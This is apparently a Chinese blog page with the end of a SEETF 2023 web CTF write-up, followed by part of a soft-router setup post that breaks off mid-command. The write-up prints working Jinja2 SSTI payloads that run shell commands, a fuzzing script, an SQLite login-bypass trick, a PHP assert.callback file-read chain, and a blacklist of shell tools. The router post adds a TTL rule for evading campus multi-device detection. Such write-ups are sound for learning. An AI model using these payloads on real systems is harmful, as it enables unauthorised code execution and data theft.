8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 @app.route(\u0026#39;/upload\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def upload_file(): if request.method != \u0026#39;POST\u0026#39;: return redirect(url_for(\u0026#39;profile\u0026#39;)) # check if the post request has the file part if \u0026#39;file\u0026#39; not in request.files: return redirect(url_for(\u0026#39;profile\u0026#39;)) file = request.files[\u0026#39;file\u0026#39;] # If the user does not select a file, the browser submits an empty file without a filename. if file.filename == \u0026#39;\u0026#39;: return redirect(url_for(\u0026#39;profile\u0026#39;)) fileext = get_fileext(file.filename) file.seek(0, 2) # seeks the end of the file filesize = file.tell() # tell at which byte we are file.seek(0, 0) # go back to the beginning of the file if fileext and filesize \u0026lt; 10*1024*1024: if session[\u0026#39;ext\u0026#39;] and os.path.exists(os.path.join(UPLOAD_FOLDER, session[\u0026#39;uuid\u0026#39;]+\u0026#34;.\u0026#34;+session[\u0026#39;ext\u0026#39;])): os.remove(os.path.join(UPLOAD_FOLDER, session[\u0026#39;uuid\u0026#39;]+\u0026#34;.\u0026#34;+session[\u0026#39;ext\u0026#39;])) session[\u0026#39;ext\u0026#39;] = fileext filename = session[\u0026#39;uuid\u0026#39;]+\u0026#34;.\u0026#34;+session[\u0026#39;ext\u0026#39;] file.save(os.path.join(UPLOAD_FOLDER, filename)) return redirect(url_for(\u0026#39;profile\u0026#39;)) else: template = f\u0026#34;\u0026#34;\u0026#34; {file.filename} is not valid because it is too big or has the wrong extension \u0026#34;\u0026#34;\u0026#34; l1 = [\u0026#39;+\u0026#39;, \u0026#39;{{\u0026#39;, \u0026#39;}}\u0026#39;, \u0026#39;[2]\u0026#39;, \u0026#39;flask\u0026#39;, \u0026#39;os\u0026#39;,\u0026#39;config\u0026#39;, \u0026#39;subprocess\u0026#39;, \u0026#39;debug\u0026#39;, \u0026#39;read\u0026#39;, \u0026#39;write\u0026#39;, \u0026#39;exec\u0026#39;, \u0026#39;popen\u0026#39;, \u0026#39;import\u0026#39;, \u0026#39;request\u0026#39;, \u0026#39;|\u0026#39;, \u0026#39;join\u0026#39;, \u0026#39;attr\u0026#39;, \u0026#39;globals\u0026#39;, \u0026#39;\\\\\u0026#39;] l2 = [\u0026#39;aa-exec\u0026#39;, \u0026#39;agetty\u0026#39;, \u0026#39;alpine\u0026#39;, \u0026#39;ansible-playbook\u0026#39;, \u0026#39;ansible-test\u0026#39;, \u0026#39;aoss\u0026#39;, \u0026#39;apt\u0026#39;, \u0026#39;apt-get\u0026#39;, \u0026#39;aria2c\u0026#39;, \u0026#39;arj\u0026#39;, \u0026#39;arp\u0026#39;, \u0026#39;ascii-xfr\u0026#39;, \u0026#39;ascii85\u0026#39;, \u0026#39;ash\u0026#39;, \u0026#39;aspell\u0026#39;, \u0026#39;atobm\u0026#39;, \u0026#39;awk\u0026#39;, \u0026#39;aws\u0026#39;, \u0026#39;base\u0026#39;, \u0026#39;base32\u0026#39;, \u0026#39;base58\u0026#39;, \u0026#39;base64\u0026#39;, \u0026#39;basenc\u0026#39;, \u0026#39;basez\u0026#39;, \u0026#39;bash\u0026#39;, \u0026#39;batcat\u0026#39;, \u0026#39;bconsole\u0026#39;, \u0026#39;bpftrace\u0026#39;, \u0026#39;bridge\u0026#39;, \u0026#39;bundle\u0026#39;, \u0026#39;bundler\u0026#39;, \u0026#39;busctl\u0026#39;, \u0026#39;busybox\u0026#39;, \u0026#39;byebug\u0026#39;, \u0026#39;bzip2\u0026#39;, \u0026#39;c89\u0026#39;, \u0026#39;c99\u0026#39;, \u0026#39;cabal\u0026#39;, \u0026#39;cancel\u0026#39;, \u0026#39;capsh\u0026#39;, \u0026#39;cat\u0026#39;, \u0026#39;cdist\u0026#39;, \u0026#39;certbot\u0026#39;, \u0026#39;check_by_ssh\u0026#39;, \u0026#39;check_cups\u0026#39;, \u0026#39;check_log\u0026#39;, \u0026#39;check_memory\u0026#39;, \u0026#39;check_raid\u0026#39;, \u0026#39;check_ssl_cert\u0026#39;, \u0026#39;check_statusfile\u0026#39;, \u0026#39;chmod\u0026#39;, \u0026#39;choom\u0026#39;, \u0026#39;chown\u0026#39;, \u0026#39;chroot\u0026#39;, \u0026#39;cmp\u0026#39;, \u0026#39;cobc\u0026#39;, \u0026#39;column\u0026#39;, \u0026#39;comm\u0026#39;, \u0026#39;comm \u0026#39;, \u0026#39;composer\u0026#39;, \u0026#39;cowsay\u0026#39;, \u0026#39;cowthink\u0026#39;, \u0026#39;cpan\u0026#39;, \u0026#39;cpio\u0026#39;, \u0026#39;cpulimit\u0026#39;, \u0026#39;crash\u0026#39;, \u0026#39;crontab\u0026#39;, \u0026#39;csh\u0026#39;, \u0026#39;csplit\u0026#39;, \u0026#39;csvtool\u0026#39;, \u0026#39;cupsfilter\u0026#39;, \u0026#39;curl\u0026#39;, \u0026#39;cut\u0026#39;, \u0026#39;dash\u0026#39;, \u0026#39;date\u0026#39;, \u0026#39;debug\u0026#39;, \u0026#39;debugfs\u0026#39;, \u0026#39;dialog\u0026#39;, \u0026#39;diff\u0026#39;, \u0026#39;dig\u0026#39;, \u0026#39;dir\u0026#39;, \u0026#39;distcc\u0026#39;, \u0026#39;dmesg\u0026#39;, \u0026#39;dmidecode\u0026#39;, \u0026#39;dmsetup\u0026#39;, \u0026#39;dnf\u0026#39;, \u0026#39;docker\u0026#39;, \u0026#39;dos2unix\u0026#39;, \u0026#39;dosbox\u0026#39;, \u0026#39;dotnet\u0026#39;, \u0026#39;dpkg\u0026#39;, \u0026#39;dstat\u0026#39;, \u0026#39;dvips\u0026#39;, \u0026#39;easy_install\u0026#39;, \u0026#39;echo\u0026#39;, \u0026#39;efax\u0026#39;, \u0026#39;elvish\u0026#39;, \u0026#39;emacs\u0026#39;, \u0026#39;env\u0026#39;, \u0026#39;eqn\u0026#39;, \u0026#39;espeak\u0026#39;, \u0026#39;exiftool\u0026#39;, \u0026#39;expand\u0026#39;, \u0026#39;expect\u0026#39;, \u0026#39;facter\u0026#39;, \u0026#39;file\u0026#39;, \u0026#39;find\u0026#39;, \u0026#39;finger\u0026#39;, \u0026#39;fish\u0026#39;, \u0026#39;flock\u0026#39;, \u0026#39;fmt\u0026#39;, \u0026#39;fold\u0026#39;, \u0026#39;fping\u0026#39;, \u0026#39;ftp\u0026#39;, \u0026#39;gawk\u0026#39;, \u0026#39;gcc\u0026#39;, \u0026#39;gcloud\u0026#39;, \u0026#39;gcore\u0026#39;, \u0026#39;gdb\u0026#39;, \u0026#39;gem\u0026#39;, \u0026#39;genie\u0026#39;, \u0026#39;genisoimage\u0026#39;, \u0026#39;ghc\u0026#39;, \u0026#39;ghci\u0026#39;, \u0026#39;gimp\u0026#39;, \u0026#39;ginsh\u0026#39;, \u0026#39;git\u0026#39;, \u0026#39;grc\u0026#39;, \u0026#39;grep\u0026#39;, \u0026#39;gtester\u0026#39;, \u0026#39;gzip\u0026#39;, \u0026#39;head\u0026#39;, \u0026#39;hexdump\u0026#39;, \u0026#39;highlight\u0026#39;, \u0026#39;hping3\u0026#39;, \u0026#39;iconv\u0026#39;, \u0026#39;ifconfig\u0026#39;, \u0026#39;iftop\u0026#39;, \u0026#39;install\u0026#39;, \u0026#39;ionice\u0026#39;, \u0026#39;irb\u0026#39;, \u0026#39;ispell\u0026#39;, \u0026#39;jjs\u0026#39;, \u0026#39;joe\u0026#39;, \u0026#39;join\u0026#39;, \u0026#39;journalctl\u0026#39;, \u0026#39;jrunscript\u0026#39;, \u0026#39;jtag\u0026#39;, \u0026#39;julia\u0026#39;, \u0026#39;knife\u0026#39;, \u0026#39;ksh\u0026#39;, \u0026#39;ksshell\u0026#39;, \u0026#39;ksu\u0026#39;, \u0026#39;kubectl\u0026#39;, \u0026#39;latex\u0026#39;, \u0026#39;latexmk\u0026#39;, \u0026#39;ld.so\u0026#39;, \u0026#39;ldconfig\u0026#39;, \u0026#39;less\u0026#39;, \u0026#39;less \u0026#39;, \u0026#39;lftp\u0026#39;, \u0026#39;loginctl\u0026#39;, \u0026#39;logsave\u0026#39;, \u0026#39;look\u0026#39;, \u0026#39;ltrace\u0026#39;, \u0026#39;lua\u0026#39;, \u0026#39;lualatex\u0026#39;, \u0026#39;luatex\u0026#39;, \u0026#39;lwp-download\u0026#39;, \u0026#39;lwp-request\u0026#39;, \u0026#39;mail\u0026#39;, \u0026#39;make\u0026#39;, \u0026#39;man\u0026#39;, \u0026#39;mawk\u0026#39;, \u0026#39;more\u0026#39;, \u0026#39;mosquitto\u0026#39;, \u0026#39;mount\u0026#39;, \u0026#39;msfconsole\u0026#39;, \u0026#39;msgattrib\u0026#39;, \u0026#39;msgcat\u0026#39;, \u0026#39;msgconv\u0026#39;, \u0026#39;msgfilter\u0026#39;, \u0026#39;msgmerge\u0026#39;, \u0026#39;msguniq\u0026#39;, \u0026#39;mtr\u0026#39;, \u0026#39;multitime\u0026#39;, \u0026#39;mysql\u0026#39;, \u0026#39;nano\u0026#39;, \u0026#39;nasm\u0026#39;, \u0026#39;nawk\u0026#39;, \u0026#39;ncftp\u0026#39;, \u0026#39;neofetch\u0026#39;, \u0026#39;netstat\u0026#39;, \u0026#39;nft\u0026#39;, \u0026#39;nice\u0026#39;, \u0026#39;nmap\u0026#39;, \u0026#39;node\u0026#39;, \u0026#39;nohup\u0026#39;, \u0026#39;npm\u0026#39;, \u0026#39;nroff\u0026#39;, \u0026#39;nsenter\u0026#39;, \u0026#39;nslookup\u0026#39;, \u0026#39;octave\u0026#39;, \u0026#39;openssl\u0026#39;, \u0026#39;openvpn\u0026#39;, \u0026#39;openvt\u0026#39;, \u0026#39;opkg\u0026#39;, \u0026#39;pandoc\u0026#39;, \u0026#39;paste\u0026#39;, \u0026#39;pax\u0026#39;, \u0026#39;pdb\u0026#39;, \u0026#39;pdflatex\u0026#39;, \u0026#39;pdftex\u0026#39;, \u0026#39;perf\u0026#39;, \u0026#39;perl\u0026#39;, \u0026#39;perlbug\u0026#39;, \u0026#39;pexec\u0026#39;, \u0026#39;php\u0026#39;, \u0026#39;pic\u0026#39;, \u0026#39;pico\u0026#39;, \u0026#39;pidstat\u0026#39;, \u0026#39;ping\u0026#39;, \u0026#39;pip\u0026#39;, \u0026#39;pkexec\u0026#39;, \u0026#39;pkg\u0026#39;, \u0026#39;posh\u0026#39;, \u0026#39;pry\u0026#39;, \u0026#39;psftp\u0026#39;, \u0026#39;psql\u0026#39;, \u0026#39;ptx\u0026#39;, \u0026#39;puppet\u0026#39;, \u0026#39;pwsh\u0026#39;, \u0026#39;rake\u0026#39;, \u0026#39;readelf\u0026#39;, \u0026#39;red\u0026#39;, \u0026#39;redcarpet\u0026#39;, \u0026#39;redis\u0026#39;, \u0026#39;restic\u0026#39;, \u0026#39;rev\u0026#39;, \u0026#39;rlogin\u0026#39;, \u0026#39;rlwrap\u0026#39;, \u0026#39;route\u0026#39;, \u0026#39;rpm\u0026#39;, \u0026#39;rpmdb\u0026#39;, \u0026#39;rpmquery\u0026#39;, \u0026#39;rpmverify\u0026#39;, \u0026#39;rsync\u0026#39;, \u0026#39;rtorrent\u0026#39;, \u0026#39;ruby\u0026#39;, \u0026#39;run-mailcap\u0026#39;, \u0026#39;run-parts\u0026#39;, \u0026#39;rview\u0026#39;, \u0026#39;rvim\u0026#39;, \u0026#39;sash\u0026#39;, \u0026#39;scanmem\u0026#39;, \u0026#39;scp\u0026#39;, \u0026#39;screen\u0026#39;, \u0026#39;script\u0026#39;, \u0026#39;scrot\u0026#39;, \u0026#39;sed\u0026#39;, \u0026#39;service\u0026#39;, \u0026#39;setarch\u0026#39;, \u0026#39;setfacl\u0026#39;, \u0026#39;setlock\u0026#39;, \u0026#39;sftp\u0026#39;, \u0026#39;shuf\u0026#39;, \u0026#39;slsh\u0026#39;, \u0026#39;smbclient\u0026#39;, \u0026#39;snap\u0026#39;, \u0026#39;socat\u0026#39;, \u0026#39;socket\u0026#39;, \u0026#39;soelim\u0026#39;, \u0026#39;softlimit\u0026#39;, \u0026#39;sort\u0026#39;, \u0026#39;split\u0026#39;, \u0026#39;sqlite3\u0026#39;, \u0026#39;sqlmap\u0026#39;, \u0026#39;ssh\u0026#39;, \u0026#39;ssh-agent\u0026#39;, \u0026#39;ssh-keygen\u0026#39;, \u0026#39;ssh-keyscan\u0026#39;, \u0026#39;sshpass\u0026#39;, \u0026#39;start-stop-daemon\u0026#39;, \u0026#39;stdbuf\u0026#39;, \u0026#39;strace\u0026#39;, \u0026#39;strings\u0026#39;, \u0026#39;sysctl\u0026#39;, \u0026#39;systemctl\u0026#39;, \u0026#39;systemd-resolve\u0026#39;, \u0026#39;tac\u0026#39;, \u0026#39;tail\u0026#39;, \u0026#39;tar\u0026#39;, \u0026#39;task\u0026#39;, \u0026#39;taskset\u0026#39;, \u0026#39;tasksh\u0026#39;, \u0026#39;tbl\u0026#39;, \u0026#39;tclsh\u0026#39;, \u0026#39;tcpdump\u0026#39;, \u0026#39;tdbtool\u0026#39;, \u0026#39;tee\u0026#39;, \u0026#39;telnet\u0026#39;, \u0026#39;tex\u0026#39;, \u0026#39;tftp\u0026#39;, \u0026#39;time\u0026#39;, \u0026#39;timedatectl\u0026#39;, \u0026#39;timeout\u0026#39;, \u0026#39;tmate\u0026#39;, \u0026#39;tmux\u0026#39;, \u0026#39;top\u0026#39;, \u0026#39;torify\u0026#39;, \u0026#39;torsocks\u0026#39;, \u0026#39;touch\u0026#39;, \u0026#39;traceroute\u0026#39;, \u0026#39;troff\u0026#39;, \u0026#39;truncate\u0026#39;, \u0026#39;tshark\u0026#39;, \u0026#39;unexpand\u0026#39;, \u0026#39;uniq\u0026#39;, \u0026#39;unshare\u0026#39;, \u0026#39;unzip\u0026#39;, \u0026#39;update-alternatives\u0026#39;, \u0026#39;uudecode\u0026#39;, \u0026#39;uuencode\u0026#39;, \u0026#39;vagrant\u0026#39;, \u0026#39;valgrind\u0026#39;, \u0026#39;view\u0026#39;, \u0026#39;vigr\u0026#39;, \u0026#39;vim\u0026#39;, \u0026#39;vimdiff\u0026#39;, \u0026#39;vipw\u0026#39;, \u0026#39;virsh\u0026#39;, \u0026#39;volatility\u0026#39;, \u0026#39;w3m\u0026#39;, \u0026#39;wall\u0026#39;, \u0026#39;watch\u0026#39;, \u0026#39;wget\u0026#39;, \u0026#39;whiptail\u0026#39;, \u0026#39;whois\u0026#39;, \u0026#39;wireshark\u0026#39;, \u0026#39;wish\u0026#39;, \u0026#39;xargs\u0026#39;, \u0026#39;xdotool\u0026#39;, \u0026#39;xelatex\u0026#39;, \u0026#39;xetex\u0026#39;, \u0026#39;xmodmap\u0026#39;, \u0026#39;xmore\u0026#39;, \u0026#39;xpad\u0026#39;, \u0026#39;xxd\u0026#39;, \u0026#39;yarn\u0026#39;, \u0026#39;yash\u0026#39;, \u0026#39;yelp\u0026#39;, \u0026#39;yum\u0026#39;, \u0026#39;zathura\u0026#39;, \u0026#39;zip\u0026#39;, \u0026#39;zsh\u0026#39;, \u0026#39;zsoelim\u0026#39;, \u0026#39;zypper\u0026#39;] for i in l1: if i in template.lower(): print(template, i, file=sys.stderr) template = \u0026#34;nice try\u0026#34; break matches = re.findall(r\u0026#34;[\u0026#39;\\\u0026#34;](.*?)[\u0026#39;\\\u0026#34;]\u0026#34;, template) for match in matches: print(match, file=sys.stderr) if not re.match(r\u0026#39;^[a-zA-Z0-9 \\/\\.\\-]+$\u0026#39;, match): template = \u0026#34;nice try\u0026#34; break for i in l2: if i in match.lower(): print(i, file=sys.stderr) template = \u0026#34;nice try\u0026#34; break return render_template_string(template) 绕过他的黑名单即可\n参考：https://xz.aliyun.com/t/9584#toc-3\nfuzz类的索引\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests url = \u0026#39;http://172.21.28.13:29384/upload\u0026#39; headers = { \u0026#39;Content-Type\u0026#39;: \u0026#39;multipart/form-data; boundary=----WebKitFormBoundarymTsANkoKLXBfBT6f\u0026#39;, \u0026#39;Cookie\u0026#39;: \u0026#39;session=eyJleHQiOm51bGwsInV1aWQiOiJmY2RmNmE3Yi05ODE1LTQwMWYtYjg1Yy04Y2Y2NDIwZGRiZDAifQ.ZIYSxA.aOmD_eFJ9hZm2YAJdrdH5Ttw15o\u0026#39; } payload = \u0026#39;{% print([].__class__.__bases__[0].__subclasses__()[num]) %}\u0026#39; for i in range(300): payload = \u0026#39;{% print([].__class__.__bases__[0].__subclasses__()[\u0026#39;+str(i)+\u0026#39;]) %}\u0026#39; data = f\u0026#39;\u0026#39;\u0026#39;------WebKitFormBoundarymTsANkoKLXBfBT6f Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;{payload}\u0026#34; Content-Type: text/plain import re ------WebKitFormBoundarymTsANkoKLXBfBT6f-- \u0026#39;\u0026#39;\u0026#39; response = requests.post(url, headers=headers, data=data) if \u0026#34;_frozen_importlib_external.FileLoader\u0026#34; in response.text: print(response.text) print(data) break 读取flag.txt\nPOST /upload HTTP/1.1 Host: fu1.web.seetf.sg:1337 Content-Length: 268 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://fu1.web.seetf.sg:1337 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfagSoQabs4E19Bx8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Accept: text/xml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://fu1.web.seetf.sg:1337/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJleHQiOm51bGwsInV1aWQiOiJhNWExZDRiNC1jMWM3LTQ2YjctYjgxYy0xYjE2YTU0NzE1YmUifQ.ZIYRIw.Se2LPlx0m2oSU42i8_Mz0VjC6kw Connection: close ------WebKitFormBoundaryfagSoQabs4E19Bx8 Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;{% print([].__class__.__bases__[0].__subclasses__()[99].get_data(0, \u0026#39;flag.txt\u0026#39;)) %}\u0026#34; Content-Type: text/plain import re ------WebKitFormBoundaryfagSoQabs4E19Bx8-- file uploader 2 存在漏洞的地方\n会渲染我们上传的文件\n1 2 3 4 5 6 7 8 9 10 @app.route(\u0026#39;/uploads/\u0026lt;path:path\u0026gt;\u0026#39;) def viewfile(path): if session[\u0026#39;filename\u0026#39;] == path: try: return render_template(\u0026#39;static\u0026#39;+\u0026#39;/\u0026#39;+path) except: return send_from_directory(UPLOAD_FOLDER, path) else: return redirect(url_for(\u0026#39;profile\u0026#39;)) 我们只需要构造恶意内容文件，将其上传即可进行类似ssti的操作\n{{g.pop.__globals__.__builtins__[\u0026#39;__import__\u0026#39;](\u0026#39;os\u0026#39;).popen(\u0026#39;cat i*\u0026#39;).read()}} 但是在上传文件之前，需要我们进行登录，进行sql查询之前对query进行拼接，但是限制了传入的字符串只能包含大小写字母，数字，花括号，下划线。不能通过闭合引号来进行注入\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @app.route(\u0026#39;/\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def login(): if request.method == \u0026#39;POST\u0026#39;: username = request.form[\u0026#39;username\u0026#39;] password = request.form[\u0026#39;password\u0026#39;] pattern = r\u0026#39;[^a-zA-Z0-9{_}]\u0026#39; if re.search(pattern, username) or re.search(pattern, password): return render_template(\u0026#39;login.html\u0026#39;, error=\u0026#39;Sus input detected!\u0026#39;) query = f\u0026#39;SELECT * FROM users WHERE dXNlcm5hbWVpbmJhc2U2NA = \u0026#34;{username}\u0026#34; AND cGFzc3dvcmRpbmJhc2U2NA = \u0026#34;{password}\u0026#34;;\u0026#39; try: if cur.execute(query).fetchone(): print(\u0026#34;Login successful!\u0026#34;) session[\u0026#39;usersess\u0026#39;] = str(uuid.uuid4()) session[\u0026#39;filename\u0026#39;] = None return redirect(url_for(\u0026#39;profile\u0026#39;)) else: raise Exception(\u0026#39;Invalid Credentials. Please try again.\u0026#39;) except: error = \u0026#39;Invalid Credentials. Please try again.\u0026#39; return render_template(\u0026#39;login.html\u0026#39;, error=error) else: return render_template(\u0026#39;login.html\u0026#39;) 有意思的是在 sqlite3 中，单引号和双引号具有不同的含义，一个指的是一个字符串，另一个指的是一个标识符，一个标识符可以是一个列名，所以它变成像列名=列名\nhttps://www.sqlite.org/lang_keywords.html\n只要我们输入的账号密码和users的字段名对上了即可。\n登录成功后，上传文件，然后访问文件即可触发ssti执行任意命令\n登录：password=cGFzc3dvcmRpbmJhc2U2NA\u0026amp;username=dXNlcm5hbWVpbmJhc2U2NA echo \u0026#34;{{g.pop.__globals__.__builtins__[\u0026#39;__import__\u0026#39;](\u0026#39;os\u0026#39;).popen(\u0026#39;cat i*\u0026#39;).read()}}\u0026#34; \u0026gt; 5744f76c-33cd-48d9-8305-8893d0c5b2e1.png 上传图片，访问 uploads/5744f76c-33cd-48d9-8305-8893d0c5b2e1.png 触发ssti Sourceful Guessless Web 本地搭建环境\n在这题中我们可以进行任意次的ini_set($key, $value);\n设置一个phpinfo();\n看一下php的配置\n刚开始看的是\nauto_prepend_file\nauto_append_file\n发现这两个配置不能通过ini_set设置\n后面往log这方面看，发现可以设置日志文件，但是并没有产生日志文件，并且网站目录root可写，文件落地方案失败\n继续往下看 看到 pcre 方面，可以设置pcre.backtrack_limit和pcre.recursion_limit\n不认识的配置项直接问chatgpt（很省时间）\npcre.recursion_limit是什么 ChatGPT pcre.recursion_limit是一个配置项，它用于限制PCRE（Perl Compatible Regular Expressions）引擎在匹配过程中的递归深度。 PCRE是一个功能强大的正则表达式库，广泛用于各种编程语言中，例如PHP。在使用PCRE引擎进行正则表达式匹配时，有些复杂的模式可能会导致递归的发生，即正则表达式引擎在尝试匹配时会自动进入嵌套的子调用。 pcre.recursion_limit配置项用于限制这种递归的深度，以避免在处理过程中出现无限递归的情况。它指定了PCRE引擎在匹配过程中可以进行的最大递归层数。如果达到了该限制，引擎会中止匹配并返回一个错误。 通过调整pcre.recursion_limit的值，可以控制PCRE引擎在匹配过程中所允许的递归深度，以满足具体的需求和安全性考虑。不同的语言和环境可能有不同的默认值和最大值限制。 我们可以通过设置pcre.recursion_limit的值来限制递归深度，我们将其设置为0，则preg_match就会出错，断言失败\n没什么用，我们继续往下翻配置\n发现assert.callback 另一个关键配置\nassert.callback 是一个 PHP 配置选项，用于指定一个回调函数，在断言失败时被调用。断言是一种用于检查代码正确性的技术，通常用于在开发和测试过程中检测代码中的错误和异常情况。在 PHP 中，断言可以通过 assert() 函数来实现。 当 assert() 函数检查到一个失败的断言时，如果设置了 assert.callback 选项，则会调用指定的回调函数，并将断言的信息作为参数传递给它。回调函数可以是一个 PHP 函数或方法的名称，也可以是一个匿名函数。 设置assert.callback我们的函数成功被执行，并且第一个参数是文件名，已知flag是以字符串的形式存在index.php中，我们可以通过读取index.php来读取flag。\n还有一个限制就是函数的参数类型需要大于等于3，否则会报错，如highlight_file\n通过翻文档的文件操作函数列表发现\nreadfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false 最后构造\n?flag=SEE{FAKE_FLAG}\u0026amp;debug=a\u0026amp;config[pcre.backtrack_limit]=0\u0026amp;config[assert.callback]=readfile ","date":"2023-06-12T00:00:00Z","permalink":"/2023/06/12/seectf-2023-writeup/","title":"SEECTF 2023 题解（Web）"},{"content":"软路由折腾记录 前言：最近在YouTube上刷到挺多科学上网的东西，之前也直接整过代理，就想着买个软路由来捣鼓捣鼓，当然还有很多玩法待开发。\n选购 结合YouTube上的推荐视频和自身的需求，我买了电犀牛的R66S，入门还是比较友好的，三百出头\n全部的配件：路由器本身，充电器，tf卡32g，读卡器\n刷固件 买回来已经自带了固件，但是ssr等等代理软件不自带\n电犀牛官网：https://r68s.cn/\n我刷了个istoreos固件，官网：https://www.istoreos.com/\n刷机流程也比较简单，参考教程：https://doc.linkease.com/zh/guide/istoreos/install_r66s.html\n把原本的tf卡取下，插到读卡器接入电脑，插入电脑会让格式化u盘，我瞎点了，进去我的电脑发现出现两个盘，而且是几百兆这种，到计算机管理的磁盘管理下删去分区，再新建一整个分区。。 创建启动盘，我使用的是Rufus，官网地址是：https://rufus.ie/zh/，选择tf卡，选择固件，点开始即可 启动盘创建好后，将tf插回R66S即可，开机进入web界面默认：http://192.168.100.1/ 账号/密码：root/password，ssh密码一样 到此固件就成功刷入了，感觉用tf卡对小白挺友好的，也可以通过web端刷入\n拓展功能 istoreos也没有自带ssr这种插件，iStore中也没有\n到这个项目中下载插件手动安装：https://github.com/AUK9527/Are-u-ok\nR66S的是 aarch64_cortex-a53平台，并不是x86\n然后就可以把ssrplus装上了\n在实验室中更新机场订阅一直不成功，解决方案：手动添加一个节点，挂上节点后更新\n其他拓展：istorex（一个网页主题），AdGuard Home（广告拦截器）\n校园网认证 宿舍的网络需要进行认证\n经过测试发现，在没有验证时访问一个页面比如：http://www.baidu.com/\n返回，其中host_fzu为校园网ip，下面亦然\n1 \u0026lt;script\u0026gt;top.self.location.href=\u0026#39;http://host_fzu/eportal/index.jsp?get传入一些值包含设备mac值等等\u0026#39;\u0026lt;/script\u0026gt; 而校园网认证的login只需要账号密码和设备的信息，可以在上面未认证的html中获取\n只需要两个http即可实现校园网认证\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import requests from bs4 import BeautifulSoup from urllib.parse import quote from tqdm import tqdm from colorama import init, Fore from datetime import datetime current_time = datetime.now() formatted_time = current_time.strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;) print(f\u0026#34;current time: {formatted_time}\\nlog:\u0026#34;, end=\u0026#34; :\u0026#34;) host_fzu = \u0026#34;\u0026#34; userId = \u0026#34;\u0026#34; password = \u0026#34;\u0026#34; # proxies = { # \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080/\u0026#34; # } init() # init colorama def get_authenticated_url(): test_con_url = \u0026#34;http://36.152.44.96/\u0026#34; r = requests.get(url=test_con_url, timeout=3) connected = host_fzu not in r.text if connected: print(f\u0026#34;{Fore.GREEN}connected.....{Fore.RESET}\u0026#34;, end=\u0026#39;\\r\u0026#39;, flush=True) return True, \u0026#34;\u0026#34; soup = BeautifulSoup(r.text, \u0026#39;html.parser\u0026#39;) script_tag = soup.find(\u0026#39;script\u0026#39;) authentication_url = script_tag.text.split(\u0026#34;\u0026#39;\u0026#34;)[1] if host_fzu not in authentication_url: print(f\u0026#34;{Fore.GREEN}connected.....{Fore.RESET}\u0026#34;, end=\u0026#39;\\r\u0026#39;, flush=True) else: print(f\u0026#34;{Fore.RED}not connected.....{Fore.RESET}\u0026#34;, end=\u0026#39;\\r\u0026#39;, flush=True) return connected, authentication_url def post_authenticated_packet(userId, password, queryString): authenticated_data = { \u0026#34;userId\u0026#34;: quote(userId), \u0026#34;password\u0026#34;: quote(password), \u0026#34;service\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;queryString\u0026#34;: quote(queryString), \u0026#34;operatorPwd\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;operatorUserId\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;validcode\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;passwordEncrypt\u0026#34;: \u0026#34;false\u0026#34;, } authenticated_url_login = f\u0026#34;http://{host_fzu}/eportal/InterFace.do?method=login\u0026#34; r = requests.post(url=authenticated_url_login, data=authenticated_data) json_data = r.json() if json_data[\u0026#34;result\u0026#34;] == \u0026#34;success\u0026#34;: print(f\u0026#34;{Fore.GREEN}Authentication succeeded.....{Fore.RESET}\u0026#34;, end=\u0026#39;\\r\u0026#39;, flush=True) else: print(f\u0026#34;{Fore.RED}Authentication failed.....{Fore.RESET}\u0026#34;, end=\u0026#39;\\r\u0026#39;, flush=True) if __name__ == \u0026#34;__main__\u0026#34;: try: connected, queryString = get_authenticated_url() if not connected: print(queryString) post_authenticated_packet(userId, password, queryString) except Exception as e: print(f\u0026#34;{Fore.RED}An error occurred: {e}{Fore.RESET}\u0026#34;, end=\u0026#39;\\r\u0026#39;, flush=True) print() 填入信息，执行脚本即可进行校园网认证\n在软路由上写入计划任务\n在此之前需要安装python3，pip和所需要的包\n1 2 3 4 5 6 7 opkg update opkg install python3 opkg install python3-pip pip3 install requests pip3 install beautifulsoup4 pip3 install tqdm pip3 install colorama 写入计划任务，可以在web端设置，道理一样\n* * * * * /usr/bin/python3 /root/school/school.py \u0026gt;\u0026gt; /var/log/school.log 0 18 * * * echo \u0026#39;\u0026#39; \u0026gt; /var/log/school.log 这个计划任务的意思就是，每一分钟执行一次，然后将结果输出到日志中，每天18点清空日志\n这个脚本的意思就是，检测是否能够正常访问36.152.44.96（百度），不能的话就提交表单认证\n校园网绕过设备检测尝试 参考：\nhttps://xavier.wang/45-suck-shit-lan/\nhttps://www.jja8.cn/article/%E6%A0%A1%E5%9B%AD%E7%BD%91%E5%A4%9A%E8%AE%BE%E5%A4%87%E4%BD%BF%E7%94%A8%E5%90%8C%E4%B8%80%E4%B8%AA%E8%B4%A6%E5%8F%B7%E9%98%B2%E6%A3%80%E6%B5%8B/\n成功修改ttl，和软路由隔着一个路由器，所以本地ping出去的ttl要减去两条\n1 2 iptables -t mangle -A PREROUTING -i eth0 -j TTL 